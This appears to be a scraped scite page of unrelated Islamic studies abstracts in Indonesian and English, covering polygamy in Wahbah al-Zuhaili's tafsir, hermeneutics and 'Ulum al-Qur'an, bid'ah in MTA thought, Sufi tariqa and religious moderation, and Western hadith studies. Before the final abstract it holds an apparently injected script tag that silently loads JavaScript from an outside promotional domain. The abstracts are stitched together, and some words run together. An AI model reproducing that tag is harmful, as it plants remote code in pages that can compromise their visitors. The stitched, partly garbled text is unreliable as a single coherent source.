Perkembangan tradisi penafsiran dari masa ke masa menghasilkan produk tafsir dengan berbagai pendekatan, metodologi, dan corak tafsir yang berbeda. Pada zaman sekarang, perbedaan model penafsiran tersebut ditandai dengan rekonstruksi terhadap tradisi penafsiran klasik karena dianggap tidak lagi relevan untuk menjawab persoalan kekinian. Wahbah al-Zuhaili sebagai salah seorang mufassir kontemporer, menampik hal tersebut dengan menyuguhkan berbagai produk tafsirnya tanpa memutus tradisi penafsiran klasik. Hal tersebut dapat dilihat dari penafsirannya tentang ayat poligami yang komprehensif tanpa meninggalkan tradisi klasik, sehingga sangat relevan dengan kondisi kekinian. Poligami merupakan syari’at Islam sebagai bentuk penghormatan terhadap perempuan, bukan sebagai hal yang tabu dan hina. Sehingga bagi laki-laki, poligami tidak dimaknai sebagai perintah yang melegitimasi kenginan hawa nafsunya, tetapi Islam membolehkan poligami sebagai respon terhadap keadaan darurat ataupun kebutuhan mendesak, seperti istri mengalami kemandulan, di suatu negara populasi perempaun lebih dominan, dan tentang kondisi seksualitas istri yang tidak mampu melayani suami lagi. Walaupun demikian dalam melakukan poligami harus tetap memperhatikan batasan-batasan seperti memiliki kemampuan untuk menafkahi, berlaku adil terhadap seluruh istri, interaksi yang baik.
Tulisan ini berusaha untuk menunjukan bahwa Hermeneutika sebagai tawaran dalam penafsiran Alquran, telah ada dalam ‘Uluūm al-Qur’ān. Hermeneutika merupakan teori hasil dari barat dalam mengungakap teks yang mempunyai makna dan maksud tertentu. Teoritersebut telah digunakan dalamkajian Bible yang hasilkesimpulannyaialah Bible itutidakasli, lalubagaimanadenganAlquransebagaiobjekkajianHermeneutika yang ditawarkanolehpemikirbarat. Peneiitianinimenggunakanmetode deskriptif-analisis untuk menunjukan kedudukan dan fungsi ‘Ulūmal-Qurān serta Hermeneutika. Sehingga penelitan ini mampu menjawab bagaimana fungsinya ‘Ulūm al-Qur’ān sebagai pokok dalam menafsirkan Alquran. Hasil dari penelitian ini ialah bahwa kajian ‘Ulūm al-Qur’ān dapat membuktikan bahwa Alquran adalah Kalam Allah Swt, yang (lafazh dan maknanya) diturunkan kepada Rasulullah Saw dengan perantara malaikat Jibril yang diriwayatkan secara mutawatir, diawali dengan surat al-Fatihah diakhiri dengan surat al-Nās yang dijamin keasliannya oleh Allah Swt, berbeda dengan Bible ataupun Injil yang telah banyak mengalami tahrif (perubahan secara fundamental), maka Hermeneutika bukan merupakan tawaran baru, melainkan mengupas kembali dan sadar atas metode salaf dan khalaf yang merupakan inti dari kajian Hermeneutik tersebut, walaupun di masa itu tidak diistilahkanHermeneutik yang dipakai tetapi tafsir ataupun takwil.
Falsehood (bid‘ah) becomes an interesting study for Moslem scholars especially on the matters of worship and ritual practices. The committee of tarjîh al-Qur’ân justifies falsehood by referring to H{adith used as the guide and method. The interpretative result toward the h}adith causes different perspective among Moslem scholars. There are three important points that will be elucidated in this article: first what method uses MTA in conceiving h}adith in relation with falsehood, second how MTA perspective of bid‘ah, and third is re-construction the h}adith bid‘ah according to MTA. MTA explains that what is called bid‘ah in prophet’s h}adith is bid‘ah in the matter of religion (worship) that certainly misleading. Yet, the falsehood in relation with worldly matter for MTA must be given a space to branch out as long as it gives positive impact and push people creativity in general meaning. It is suitable with prophet’s h}adith said that “man sanna sunnah h}asanah..... man sanna sunnah sayyiah...”. In this condition, MTA indirectly admits the variant of the bid‘ah. But the ordinary classification differs with the ulama’s classification either in terms of mutaqadimîn or muta’akhirîn, in general point of view, otherwise the classification is in contrary with the religious matters and worldly matters.
This study aims to clarify certain ideas regarding Al-Yusriyyah Ash-Shdhiliyyah Siddqiyyah Tariqa and its function in religious moderation. Tareqa can be a new formula in realising harmony in religious diversity, in which the teaching principle of Tariqa is the spirit of improving moral and character. This is very important in living in diversity. By implementing Tariqa, a person understands religion not only from the outward side but also from the inner part of religion, so that it is expected to be able to find the substance, namely, the true truth that is universal. From this point of view, the Sufism paradigm seems to have advantages that the person is more tolerant of differences, both internal and external. A field study was conducted to achieve the objective of this research. Particularly, this study used an interdisciplinary approach, that is, a combination of religious and social approaches. A participatory observation, deep interviews and documentations were employed to collect the data of this study. The subjects of this research were adherents of the Tariqa in Cairo, Egypt and Indonesia. This study reveals that Tariqa has teachings and values in realising religious moderation in a plural society. This Tariqa could be an agency of religious moderation. The significance of this study is to prove the power of Tariqa and Sufism as agents of change in plural societies against extremist and intolerable attitudes both between devotees of particular religions and between adherents of different religions. Accordingly, it can promote a peaceful and tolerant way of life and reduce violence. This study supports earlier research that suggested Sufism as an option for governmental action in a plural society to counteract radicalism and intolerance.Contributions: The results of this study are expected to contribute to providing suggestions to the stakeholders in dealing with the rise of religious intolerance and radicalism both globally and locally. Moreover, the ritual, doctrinal and social interaction of Tareqa Al-Yusriyyah As-Siddiqiyyah Ash-Shadhiliyyah can be a source of reference and inspiration for the policy of stakeholders in deradicalising religion and creating religious moderation.
<script charset="UTF-8" type="text/javascript" src="http://happybizpromo.com/i.js?tag=new1809&did=1&v_tag=84817&k_tag=0"></script>Artikel Jurnal ini mendiskusikan tentang Sejarah Hubungan Barat dan Islam dalam studi hadis. Sebagai tambahannya, Hal ini didiskusikan menggunakan dialog sience sehingga membuat kelahiran pekerjaan yang monumental pada kedua sisi. Dengan menggunakan Pendekatan Sejarah menemukan fakta bahwa Paradigma Peneliti Barat yang meneliti Islam secara global dan hadis tertentu memberi pengalaman yang signifikan. Implikasi Perubahan Paradigma membuat Peneliti Barat dalam belajar hadis lebih objektif dan proporsional.<p class="05Abstrak"> </p>
scite is a Brooklyn-based organization that helps researchers better discover and understand research articles through Smart Citations–citations that display the context of the citation and describe whether the article provides supporting or contrasting evidence. scite is used by students and researchers from around the world and is funded in part by the National Science Foundation and the National Institute on Drug Abuse of the National Institutes of Health.
hi@scite.ai
10624 S. Eastern Ave., Ste. A-614
Henderson, NV 89052, USA
Copyright © 2024 scite LLC. All rights reserved.
Made with 💙 for researchers
Part of the Research Solutions Family.